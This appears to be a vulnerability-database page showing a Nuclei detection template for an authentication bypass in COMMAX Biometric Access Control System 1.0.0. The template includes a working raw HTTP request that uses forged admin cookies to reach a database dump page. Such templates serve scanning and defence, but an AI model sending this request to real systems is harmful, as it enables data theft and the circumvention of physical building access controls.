commax-biometric-auth-bypass: COMMAX Biometric Access Control System 1.0.0 - Authentication Bypass

2025-08-01 COMMAX Biometric Access Control System PoC Public

Description

COMMAX Biometric Access Control System 1.0.0 suffers from an authentication bypass vulnerability. An unauthenticated attacker through cookie poisoning can bypass authentication and disclose sensitive information and circumvent physical controls in smart homes and buildings.

PoC

id: commax-biometric-auth-bypass

info:
  name: COMMAX Biometric Access Control System 1.0.0 - Authentication Bypass
  author: gy741
  severity: critical
  description: |
    COMMAX Biometric Access Control System 1.0.0 suffers from an authentication bypass vulnerability. An unauthenticated attacker through cookie poisoning can bypass authentication and disclose sensitive information and circumvent physical controls in smart homes and buildings.
  reference:
    - https://www.exploit-db.com/exploits/50206
    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5661.php
  metadata:
    max-request: 1
  tags: commax,auth-bypass,edb,vuln

http:
  - raw:
      - |
        GET /db_dump.php HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
        Referer: {{BaseURL}}/user_add.php
        Cookie: CMX_SAVED_ID=zero; CMX_ADMIN_ID=science; CMX_ADMIN_NM=liquidworm; CMX_ADMIN_LV=9; CMX_COMPLEX_NM=ZSL; CMX_COMPLEX_IP=2.5.1.0

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<title>::: COMMAX :::</title>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 490a00463044022044535b875f7f2e249942e03eb6afc56e7365efa0cf250e98dc2f43d5e6cb710e02200c1d3f536afffc75025bbcfd9c54930a4b7ca4e65c1d30f9298d44adf8c77fe8:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/other/commax-biometric-auth-bypass.yaml

References

Related Vulnerabilities